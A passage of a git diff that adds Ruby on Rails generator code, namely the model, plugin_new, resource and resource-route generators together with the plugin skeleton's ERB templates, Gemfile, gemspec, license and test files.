+ will generate a title column with a varchar type and a body column with a text
+ type. You can use the following types:
+
+ integer
+ primary_key
+ decimal
+ float
+ boolean
+ binary
+ string
+ text
+ date
+ time
+ datetime
+ timestamp
+
+ You can also consider `references` as a kind of type. For instance, if you run:
+
+ `rails generate model photo title:string album:references`
+
+ It will generate an album_id column. You should generate this kind of fields when
+ you will use a `belongs_to` association for instance. `references` also support
+ the polymorphism, you could enable the polymorphism like this:
+
+ `rails generate model product supplier:references{polymorphic}`
+
+ For integer, string, text and binary fields an integer in curly braces will
+ be set as the limit:
+
+ `rails generate model user pseudo:string{30}`
+
+ For decimal two integers separated by a comma in curly braces will be used
+ for precision and scale:
+
+ `rails generate model product price:decimal{10,2}`
+
+ You can add a `:uniq` or `:index` suffix for unique or standard indexes
+ respectively:
+
+ `rails generate model user pseudo:string:uniq`
+ `rails generate model user pseudo:string:index`
+
+ You can combine any single curly brace option with the index options:
+
+ `rails generate model user username:string{30}:uniq`
+ `rails generate model product supplier:references{polymorphic}:index`
+
+
+Examples:
+ `rails generate model account`
+
+ For ActiveRecord and TestUnit it creates:
+
+ Model: app/models/account.rb
+ Test: test/models/account_test.rb
+ Fixtures: test/fixtures/accounts.yml
+ Migration: db/migrate/XXX_create_accounts.rb
+
+ `rails generate model post title:string body:text published:boolean`
+
+ Creates a Post model with a string title, text body, and published flag.
+
+ `rails generate model admin/account`
+
+ For ActiveRecord and TestUnit it creates:
+
+ Module: app/models/admin.rb
+ Model: app/models/admin/account.rb
+ Test: test/models/admin/account_test.rb
+ Fixtures: test/fixtures/admin/accounts.yml
+ Migration: db/migrate/XXX_create_admin_accounts.rb
+
diff --git a/railties/lib/rails/generators/rails/model/model_generator.rb b/railties/lib/rails/generators/rails/model/model_generator.rb
new file mode 100644
index 0000000..ea3d69d
--- /dev/null
+++ b/railties/lib/rails/generators/rails/model/model_generator.rb
@@ -0,0 +1,8 @@
+module Rails
+ module Generators
+ class ModelGenerator < NamedBase # :nodoc:
+ argument :attributes, type: :array, default: [], banner: "field[:type][:index] field[:type][:index]"
+ hook_for :orm, required: true
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/rails/plugin_new/USAGE b/railties/lib/rails/generators/rails/plugin_new/USAGE
new file mode 100644
index 0000000..9a7bf9f
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/USAGE
@@ -0,0 +1,10 @@
+Description:
+ The 'rails plugin new' command creates a skeleton for developing any
+ kind of Rails extension with ability to run tests using dummy Rails
+ application.
+
+Example:
+ rails plugin new ~/Code/Ruby/blog
+
+ This generates a skeletal Rails plugin in ~/Code/Ruby/blog.
+ See the README in the newly created plugin to get going.
diff --git a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb b/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb
new file mode 100644
index 0000000..850c9d5
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb
@@ -0,0 +1,368 @@
+require 'active_support/core_ext/hash/slice'
+require "rails/generators/rails/app/app_generator"
+require 'date'
+
+module Rails
+ # The plugin builder allows you to override elements of the plugin
+ # generator without being forced to reverse the operations of the default
+ # generator.
+ #
+ # This allows you to override entire operations, like the creation of the
+ # Gemfile, README, or JavaScript files, without needing to know exactly
+ # what those operations do so you can create another template action.
+ class PluginBuilder
+ def rakefile
+ template "Rakefile"
+ end
+
+ def app
+ if mountable?
+ directory 'app'
+ empty_directory_with_keep_file "app/assets/images/#{name}"
+ elsif full?
+ empty_directory_with_keep_file 'app/models'
+ empty_directory_with_keep_file 'app/controllers'
+ empty_directory_with_keep_file 'app/views'
+ empty_directory_with_keep_file 'app/helpers'
+ empty_directory_with_keep_file 'app/mailers'
+ empty_directory_with_keep_file "app/assets/images/#{name}"
+ end
+ end
+
+ def readme
+ template "README.rdoc"
+ end
+
+ def gemfile
+ template "Gemfile"
+ end
+
+ def license
+ template "MIT-LICENSE"
+ end
+
+ def gemspec
+ template "%name%.gemspec"
+ end
+
+ def gitignore
+ template "gitignore", ".gitignore"
+ end
+
+ def lib
+ template "lib/%name%.rb"
+ template "lib/tasks/%name%_tasks.rake"
+ template "lib/%name%/version.rb"
+ template "lib/%name%/engine.rb" if engine?
+ end
+
+ def config
+ template "config/routes.rb" if engine?
+ end
+
+ def test
+ template "test/test_helper.rb"
+ template "test/%name%_test.rb"
+ append_file "Rakefile", <<-EOF
+#{rakefile_test_tasks}
+
+task default: :test
+ EOF
+ if engine?
+ template "test/integration/navigation_test.rb"
+ end
+ end
+
+ PASSTHROUGH_OPTIONS = [
+ :skip_active_record, :skip_javascript, :database, :javascript, :quiet, :pretend, :force, :skip
+ ]
+
+ def generate_test_dummy(force = false)
+ opts = (options || {}).slice(*PASSTHROUGH_OPTIONS)
+ opts[:force] = force
+ opts[:skip_bundle] = true
+
+ invoke Rails::Generators::AppGenerator,
+ [ File.expand_path(dummy_path, destination_root) ], opts
+ end
+
+ def test_dummy_config
+ template "rails/boot.rb", "#{dummy_path}/config/boot.rb", force: true
+ template "rails/application.rb", "#{dummy_path}/config/application.rb", force: true
+ if mountable?
+ template "rails/routes.rb", "#{dummy_path}/config/routes.rb", force: true
+ end
+ end
+
+ def test_dummy_assets
+ template "rails/javascripts.js", "#{dummy_path}/app/assets/javascripts/application.js", force: true
+ template "rails/stylesheets.css", "#{dummy_path}/app/assets/stylesheets/application.css", force: true
+ end
+
+ def test_dummy_clean
+ inside dummy_path do
+ remove_file ".gitignore"
+ remove_file "db/seeds.rb"
+ remove_file "doc"
+ remove_file "Gemfile"
+ remove_file "lib/tasks"
+ remove_file "public/robots.txt"
+ remove_file "README"
+ remove_file "test"
+ remove_file "vendor"
+ end
+ end
+
+ def stylesheets
+ if mountable?
+ copy_file "rails/stylesheets.css",
+ "app/assets/stylesheets/#{name}/application.css"
+ elsif full?
+ empty_directory_with_keep_file "app/assets/stylesheets/#{name}"
+ end
+ end
+
+ def javascripts
+ return if options.skip_javascript?
+
+ if mountable?
+ template "rails/javascripts.js",
+ "app/assets/javascripts/#{name}/application.js"
+ elsif full?
+ empty_directory_with_keep_file "app/assets/javascripts/#{name}"
+ end
+ end
+
+ def bin(force = false)
+ return unless engine?
+
+ directory "bin", force: force do |content|
+ "#{shebang}\n" + content
+ end
+ chmod "bin", 0755, verbose: false
+ end
+
+ def gemfile_entry
+ return unless inside_application?
+
+ gemfile_in_app_path = File.join(rails_app_path, "Gemfile")
+ if File.exist? gemfile_in_app_path
+ entry = "gem '#{name}', path: '#{relative_path}'"
+ append_file gemfile_in_app_path, entry
+ end
+ end
+ end
+
+ module Generators
+ class PluginNewGenerator < AppBase # :nodoc:
+ add_shared_options_for "plugin"
+
+ alias_method :plugin_path, :app_path
+
+ class_option :dummy_path, type: :string, default: "test/dummy",
+ desc: "Create dummy application at given path"
+
+ class_option :full, type: :boolean, default: false,
+ desc: "Generate a rails engine with bundled Rails application for testing"
+
+ class_option :mountable, type: :boolean, default: false,
+ desc: "Generate mountable isolated application"
+
+ class_option :skip_gemspec, type: :boolean, default: false,
+ desc: "Skip gemspec file"
+
+ class_option :skip_gemfile_entry, type: :boolean, default: false,
+ desc: "If creating plugin in application's directory " +
+ "skip adding entry to Gemfile"
+
+ def initialize(*args)
+ raise Error, "Options should be given after the plugin name. For details run: rails plugin new --help" if args[0].blank?
+
+ @dummy_path = nil
+ super
+ end
+
+ public_task :create_root
+
+ def create_root_files
+ build(:readme)
+ build(:rakefile)
+ build(:gemspec) unless options[:skip_gemspec]
+ build(:license)
+ build(:gitignore) unless options[:skip_git]
+ build(:gemfile) unless options[:skip_gemfile]
+ end
+
+ def create_app_files
+ build(:app)
+ end
+
+ def create_config_files
+ build(:config)
+ end
+
+ def create_lib_files
+ build(:lib)
+ end
+
+ def create_public_stylesheets_files
+ build(:stylesheets)
+ end
+
+ def create_javascript_files
+ build(:javascripts)
+ end
+
+ def create_images_directory
+ build(:images)
+ end
+
+ def create_bin_files
+ build(:bin)
+ end
+
+ def create_test_files
+ build(:test) unless options[:skip_test_unit]
+ end
+
+ def create_test_dummy_files
+ return unless with_dummy_app?
+ create_dummy_app
+ end
+
+ def update_gemfile
+ build(:gemfile_entry) unless options[:skip_gemfile_entry]
+ end
+
+ def finish_template
+ build(:leftovers)
+ end
+
+ public_task :apply_rails_template, :run_bundle
+
+ def name
+ @name ||= begin
+ # same as ActiveSupport::Inflector#underscore except not replacing '-'
+ underscored = original_name.dup
+ underscored.gsub!(/([A-Z]+)([A-Z][a-z])/,'\1_\2')
+ underscored.gsub!(/([a-z\d])([A-Z])/,'\1_\2')
+ underscored.downcase!
+
+ underscored
+ end
+ end
+
+ protected
+
+ def app_templates_dir
+ "../../app/templates"
+ end
+
+ def create_dummy_app(path = nil)
+ dummy_path(path) if path
+
+ say_status :vendor_app, dummy_path
+ mute do
+ build(:generate_test_dummy)
+ store_application_definition!
+ build(:test_dummy_config)
+ build(:test_dummy_assets)
+ build(:test_dummy_clean)
+ # ensure that bin/rails has proper dummy_path
+ build(:bin, true)
+ end
+ end
+
+ def engine?
+ full? || mountable?
+ end
+
+ def full?
+ options[:full]
+ end
+
+ def mountable?
+ options[:mountable]
+ end
+
+ def with_dummy_app?
+ options[:skip_test_unit].blank? || options[:dummy_path] != 'test/dummy'
+ end
+
+ def self.banner
+ "rails plugin new #{self.arguments.map(&:usage).join(' ')} [options]"
+ end
+
+ def original_name
+ @original_name ||= File.basename(destination_root)
+ end
+
+ def camelized
+ @camelized ||= name.gsub(/\W/, '_').squeeze('_').camelize
+ end
+
+ def valid_const?
+ if original_name =~ /[^0-9a-zA-Z_]+/
+ raise Error, "Invalid plugin name #{original_name}. Please give a name which use only alphabetic or numeric or \"_\" characters."
+ elsif camelized =~ /^\d/
+ raise Error, "Invalid plugin name #{original_name}. Please give a name which does not start with numbers."
+ elsif RESERVED_NAMES.include?(name)
+ raise Error, "Invalid plugin name #{original_name}. Please give a name which does not match one of the reserved rails words."
+ elsif Object.const_defined?(camelized)
+ raise Error, "Invalid plugin name #{original_name}, constant #{camelized} is already in use. Please choose another plugin name."
+ end
+ end
+
+ def application_definition
+ @application_definition ||= begin
+
+ dummy_application_path = File.expand_path("#{dummy_path}/config/application.rb", destination_root)
+ unless options[:pretend] || !File.exists?(dummy_application_path)
+ contents = File.read(dummy_application_path)
+ contents[(contents.index(/module ([\w]+)\n(.*)class Application/m))..-1]
+ end
+ end
+ end
+ alias :store_application_definition! :application_definition
+
+ def get_builder_class
+ defined?(::PluginBuilder) ? ::PluginBuilder : Rails::PluginBuilder
+ end
+
+ def rakefile_test_tasks
+ <<-RUBY
+require 'rake/testtask'
+
+Rake::TestTask.new(:test) do |t|
+ t.libs << 'lib'
+ t.libs << 'test'
+ t.pattern = 'test/**/*_test.rb'
+ t.verbose = false
+end
+ RUBY
+ end
+
+ def dummy_path(path = nil)
+ @dummy_path = path if path
+ @dummy_path || options[:dummy_path]
+ end
+
+ def mute(&block)
+ shell.mute(&block)
+ end
+
+ def rails_app_path
+ APP_PATH.sub("/config/application", "") if defined?(APP_PATH)
+ end
+
+ def inside_application?
+ rails_app_path && app_path =~ /^#{rails_app_path}/
+ end
+
+ def relative_path
+ return unless inside_application?
+ app_path.sub(/^#{rails_app_path}\//, '')
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec b/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec
new file mode 100644
index 0000000..f7c12e6
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec
@@ -0,0 +1,26 @@
+$:.push File.expand_path("../lib", __FILE__)
+
+# Maintain your gem's version:
+require "<%= name %>/version"
+
+# Describe your gem and declare its dependencies:
+Gem::Specification.new do |s|
+ s.name = "<%= name %>"
+ s.version = <%= camelized %>::VERSION
+ s.authors = ["TODO: Your name"]
+ s.email = ["TODO: Your email"]
+ s.homepage = "TODO"
+ s.summary = "TODO: Summary of <%= camelized %>."
+ s.description = "TODO: Description of <%= camelized %>."
+
+ s.files = Dir["{app,config,db,lib}/**/*", "MIT-LICENSE", "Rakefile", "README.rdoc"]
+<% unless options.skip_test_unit? -%>
+ s.test_files = Dir["test/**/*"]
+<% end -%>
+
+ <%= '# ' if options.dev? || options.edge? -%>s.add_dependency "rails", "~> <%= Rails::VERSION::STRING %>"
+<% unless options[:skip_active_record] -%>
+
+ s.add_development_dependency "<%= gem_for_database %>"
+<% end -%>
+end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile b/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile
new file mode 100644
index 0000000..3f2b78f
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile
@@ -0,0 +1,30 @@
+source "https://rubygems.org"
+
+<% if options[:skip_gemspec] -%>
+<%= '# ' if options.dev? || options.edge? -%>gem "rails", "~> <%= Rails::VERSION::STRING %>"
+<% else -%>
+# Declare your gem's dependencies in <%= name %>.gemspec.
+# Bundler will treat runtime dependencies like base dependencies, and
+# development dependencies will be added by default to the :development group.
+gemspec
+<% end -%>
+
+<% if options[:skip_gemspec] -%>
+group :development do
+ gem "<%= gem_for_database %>"
+end
+<% else -%>
+# Declare any dependencies that are still in development here instead of in
+# your gemspec. These might include edge Rails or gems from your path or
+# Git. Remember to move these dependencies to your gemspec before releasing
+# your gem to rubygems.org.
+<% end -%>
+
+<% if options.dev? || options.edge? -%>
+# Your gem is dependent on dev or edge Rails. Once you can lock this
+# dependency down to a specific version, move it to your gemspec.
+<%= rails_gemfile_entry -%>
+
+<% end -%>
+# To use debugger
+# gem 'debugger'
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/MIT-LICENSE b/railties/lib/rails/generators/rails/plugin_new/templates/MIT-LICENSE
new file mode 100644
index 0000000..d7a9109
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/MIT-LICENSE
@@ -0,0 +1,20 @@
+Copyright <%= Date.today.year %> YOURNAME
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/README.rdoc b/railties/lib/rails/generators/rails/plugin_new/templates/README.rdoc
new file mode 100644
index 0000000..301d647
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/README.rdoc
@@ -0,0 +1,3 @@
+= <%= camelized %>
+
+This project rocks and uses MIT-LICENSE.
\ No newline at end of file
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile b/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile
new file mode 100644
index 0000000..0ba8991
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/Rakefile
@@ -0,0 +1,25 @@
+begin
+ require 'bundler/setup'
+rescue LoadError
+ puts 'You must `gem install bundler` and `bundle install` to run rake tasks'
+end
+
+require 'rdoc/task'
+
+RDoc::Task.new(:rdoc) do |rdoc|
+ rdoc.rdoc_dir = 'rdoc'
+ rdoc.title = '<%= camelized %>'
+ rdoc.options << '--line-numbers'
+ rdoc.rdoc_files.include('README.rdoc')
+ rdoc.rdoc_files.include('lib/**/*.rb')
+end
+
+<% if engine? && !options[:skip_active_record] && with_dummy_app? -%>
+APP_RAKEFILE = File.expand_path("../<%= dummy_path -%>/Rakefile", __FILE__)
+load 'rails/tasks/engine.rake'
+<% end %>
+
+<% unless options[:skip_gemspec] -%>
+
+Bundler::GemHelper.install_tasks
+<% end %>
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/controllers/%name%/application_controller.rb.tt b/railties/lib/rails/generators/rails/plugin_new/templates/app/controllers/%name%/application_controller.rb.tt
new file mode 100644
index 0000000..448ad7f
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/app/controllers/%name%/application_controller.rb.tt
@@ -0,0 +1,4 @@
+module <%= camelized %>
+ class ApplicationController < ActionController::Base
+ end
+end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/helpers/%name%/application_helper.rb.tt b/railties/lib/rails/generators/rails/plugin_new/templates/app/helpers/%name%/application_helper.rb.tt
new file mode 100644
index 0000000..40ae9f5
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/app/helpers/%name%/application_helper.rb.tt
@@ -0,0 +1,4 @@
+module <%= camelized %>
+ module ApplicationHelper
+ end
+end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory b/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory
new file mode 100644
index 0000000..e69de29
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/models/.empty_directory b/railties/lib/rails/generators/rails/plugin_new/templates/app/models/.empty_directory
new file mode 100644
index 0000000..e69de29
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt b/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt
new file mode 100644
index 0000000..1d38042
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt
@@ -0,0 +1,14 @@
+<!DOCTYPE html>
+<html>
+<head>
+ <title><%= camelized %></title>
+ <%%= stylesheet_link_tag "<%= name %>/application", media: "all" %>
+ <%%= javascript_include_tag "<%= name %>/application" %>
+ <%%= csrf_meta_tags %>
+</head>
+<body>
+
+<%%= yield %>
+
+</body>
+</html>
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/bin/rails.tt b/railties/lib/rails/generators/rails/plugin_new/templates/bin/rails.tt
new file mode 100644
index 0000000..aa87d1b
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/bin/rails.tt
@@ -0,0 +1,7 @@
+# This command will automatically be run when you run "rails" with Rails 3 gems installed from the root of your application.
+
+ENGINE_ROOT = File.expand_path('../..', __FILE__)
+ENGINE_PATH = File.expand_path('../../lib/<%= name -%>/engine', __FILE__)
+
+require 'rails/all'
+require 'rails/engine/commands'
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/config/routes.rb b/railties/lib/rails/generators/rails/plugin_new/templates/config/routes.rb
new file mode 100644
index 0000000..8e158d5
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/config/routes.rb
@@ -0,0 +1,6 @@
+<% if mountable? -%>
+<%= camelized %>::Engine.routes.draw do
+<% else -%>
+Rails.application.routes.draw do
+<% end -%>
+end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/gitignore b/railties/lib/rails/generators/rails/plugin_new/templates/gitignore
new file mode 100644
index 0000000..086d878
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/gitignore
@@ -0,0 +1,10 @@
+.bundle/
+log/*.log
+pkg/
+<% unless options[:skip_test_unit] && options[:dummy_path] == 'test/dummy' -%>
+<%= dummy_path %>/db/*.sqlite3
+<%= dummy_path %>/db/*.sqlite3-journal
+<%= dummy_path %>/log/*.log
+<%= dummy_path %>/tmp/
+<%= dummy_path %>/.sass-cache
+<% end -%>
\ No newline at end of file
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%.rb b/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%.rb
new file mode 100644
index 0000000..40c074c
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%.rb
@@ -0,0 +1,6 @@
+<% if engine? -%>
+require "<%= name %>/engine"
+
+<% end -%>
+module <%= camelized %>
+end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/engine.rb b/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/engine.rb
new file mode 100644
index 0000000..967668f
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/engine.rb
@@ -0,0 +1,7 @@
+module <%= camelized %>
+ class Engine < ::Rails::Engine
+<% if mountable? -%>
+ isolate_namespace <%= camelized %>
+<% end -%>
+ end
+end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb b/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb
new file mode 100644
index 0000000..ef07ef2
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb
@@ -0,0 +1,3 @@
+module <%= camelized %>
+ VERSION = "0.0.1"
+end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/tasks/%name%_tasks.rake b/railties/lib/rails/generators/rails/plugin_new/templates/lib/tasks/%name%_tasks.rake
new file mode 100644
index 0000000..7121f5a
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/lib/tasks/%name%_tasks.rake
@@ -0,0 +1,4 @@
+# desc "Explaining what the task does"
+# task :<%= name %> do
+# # Task goes here
+# end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb b/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb
new file mode 100644
index 0000000..310c975
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb
@@ -0,0 +1,17 @@
+require File.expand_path('../boot', __FILE__)
+
+<% if include_all_railties? -%>
+require 'rails/all'
+<% else -%>
+# Pick the frameworks you want:
+<%= comment_if :skip_active_record %>require "active_record/railtie"
+require "action_controller/railtie"
+require "action_mailer/railtie"
+<%= comment_if :skip_sprockets %>require "sprockets/railtie"
+<%= comment_if :skip_test_unit %>require "rails/test_unit/railtie"
+<% end -%>
+
+Bundler.require(*Rails.groups)
+require "<%= name %>"
+
+<%= application_definition %>
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb b/railties/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb
new file mode 100644
index 0000000..ef36047
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb
@@ -0,0 +1,5 @@
+# Set up gems listed in the Gemfile.
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../../../Gemfile', __FILE__)
+
+require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
+$LOAD_PATH.unshift File.expand_path('../../../../lib', __FILE__)
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/javascripts.js b/railties/lib/rails/generators/rails/plugin_new/templates/rails/javascripts.js
new file mode 100644
index 0000000..084d5d1
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/rails/javascripts.js
@@ -0,0 +1,13 @@
+// This is a manifest file that'll be compiled into application.js, which will include all the files
+// listed below.
+//
+// Any JavaScript/Coffee file within this directory, lib/assets/javascripts, vendor/assets/javascripts,
+// or vendor/assets/javascripts of plugins, if any, can be referenced here using a relative path.
+//
+// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the
+// compiled file.
+//
+// WARNING: THE FIRST BLANK LINE MARKS THE END OF WHAT'S TO BE PROCESSED, ANY BLANK LINE SHOULD
+// GO AFTER THE REQUIRES BELOW.
+//
+//= require_tree .
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/routes.rb b/railties/lib/rails/generators/rails/plugin_new/templates/rails/routes.rb
new file mode 100644
index 0000000..730ee31
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/rails/routes.rb
@@ -0,0 +1,4 @@
+Rails.application.routes.draw do
+
+ mount <%= camelized %>::Engine => "/<%= name %>"
+end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/stylesheets.css b/railties/lib/rails/generators/rails/plugin_new/templates/rails/stylesheets.css
new file mode 100644
index 0000000..3192ec8
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/rails/stylesheets.css
@@ -0,0 +1,13 @@
+/*
+ * This is a manifest file that'll be compiled into application.css, which will include all the files
+ * listed below.
+ *
+ * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,
+ * or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path.
+ *
+ * You're free to add application-wide styles to this file and they'll appear at the top of the
+ * compiled file, but it's generally better to create a new file per style scope.
+ *
+ *= require_self
+ *= require_tree .
+ */
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/test/%name%_test.rb b/railties/lib/rails/generators/rails/plugin_new/templates/test/%name%_test.rb
new file mode 100644
index 0000000..0a8bbd4
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/test/%name%_test.rb
@@ -0,0 +1,7 @@
+require 'test_helper'
+
+class <%= camelized %>Test < ActiveSupport::TestCase
+ test "truth" do
+ assert_kind_of Module, <%= camelized %>
+ end
+end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/test/integration/navigation_test.rb b/railties/lib/rails/generators/rails/plugin_new/templates/test/integration/navigation_test.rb
new file mode 100644
index 0000000..824caec
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/test/integration/navigation_test.rb
@@ -0,0 +1,12 @@
+require 'test_helper'
+
+class NavigationTest < ActionDispatch::IntegrationTest
+<% unless options[:skip_active_record] -%>
+ fixtures :all
+<% end -%>
+
+ # test "the truth" do
+ # assert true
+ # end
+end
+
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/test/test_helper.rb b/railties/lib/rails/generators/rails/plugin_new/templates/test/test_helper.rb
new file mode 100644
index 0000000..1e26a31
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/test/test_helper.rb
@@ -0,0 +1,15 @@
+# Configure Rails Environment
+ENV["RAILS_ENV"] = "test"
+
+require File.expand_path("../dummy/config/environment.rb", __FILE__)
+require "rails/test_help"
+
+Rails.backtrace_cleaner.remove_silencers!
+
+# Load support files
+Dir["#{File.dirname(__FILE__)}/support/**/*.rb"].each { |f| require f }
+
+# Load fixtures from the engine
+if ActiveSupport::TestCase.method_defined?(:fixture_path=)
+ ActiveSupport::TestCase.fixture_path = File.expand_path("../fixtures", __FILE__)
+end
diff --git a/railties/lib/rails/generators/rails/resource/USAGE b/railties/lib/rails/generators/rails/resource/USAGE
new file mode 100644
index 0000000..e359cd5
--- /dev/null
+++ b/railties/lib/rails/generators/rails/resource/USAGE
@@ -0,0 +1,23 @@
+Description:
+ Stubs out a new resource including an empty model and controller suitable
+ for a restful, resource-oriented application. Pass the singular model name,
+ either CamelCased or under_scored, as the first argument, and an optional
+ list of attribute pairs.
+
+ Attribute pairs are field:type arguments specifying the
+ model's attributes. Timestamps are added by default, so you don't have to
+ specify them by hand as 'created_at:datetime updated_at:datetime'.
+
+ You don't have to think up every attribute up front, but it helps to
+ sketch out a few so you can start working with the model immediately.
+
+ This generator invokes your configured ORM and test framework, besides
+ creating helpers and add routes to config/routes.rb.
+
+ Unlike the scaffold generator, the resource generator does not create
+ views or add any methods to the generated controller.
+
+Examples:
+ `rails generate resource post` # no attributes
+ `rails generate resource post title:string body:text published:boolean`
+ `rails generate resource purchase order_id:integer amount:decimal`
diff --git a/railties/lib/rails/generators/rails/resource/resource_generator.rb b/railties/lib/rails/generators/rails/resource/resource_generator.rb
new file mode 100644
index 0000000..8014feb
--- /dev/null
+++ b/railties/lib/rails/generators/rails/resource/resource_generator.rb
@@ -0,0 +1,20 @@
+require 'rails/generators/resource_helpers'
+require 'rails/generators/rails/model/model_generator'
+require 'active_support/core_ext/object/blank'
+
+module Rails
+ module Generators
+ class ResourceGenerator < ModelGenerator # :nodoc:
+ include ResourceHelpers
+
+ hook_for :resource_controller, required: true do |controller|
+ invoke controller, [ controller_name, options[:actions] ]
+ end
+
+ class_option :actions, type: :array, banner: "ACTION ACTION", default: [],
+ desc: "Actions for the resource controller"
+
+ hook_for :resource_route, required: true
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb b/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
new file mode 100644
index 0000000..a0e5553
--- /dev/null
+++ b/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
@@ -0,0 +1,50 @@
+module Rails
+ module Generators
+ class ResourceRouteGenerator < NamedBase # :nodoc:
+
+ # Properly nests namespaces passed into a generator
+ #
+ # $ rails generate resource admin/users/products
+ #
+ # should give you
+ #
+ # namespace :admin do
+ # namespace :users
+ # resources :products
+ # end
+ # end
+ def add_resource_route
+ return if options[:actions].present?
+
+ # iterates over all namespaces and opens up blocks
+ regular_class_path.each_with_index do |namespace, index|
+ write("namespace :#{namespace} do", index + 1)
+ end
+
+ # inserts the primary resource
+ write("resources :#{file_name.pluralize}", route_length + 1)
+
+ # ends blocks
+ regular_class_path.each_index do |index|
+ write("end", route_length - index)
+ end
+
+ # route prepends two spaces onto the front of the string that is passed, this corrects that
+ route route_string[2..-1]
+ end
+
+ private
+ def route_string
+ @route_string ||= ""
+ end
+
+ def write(str, indent)
+ route_string << "#{" " * indent}#{str}\n"
+ end
+
+ def route_length
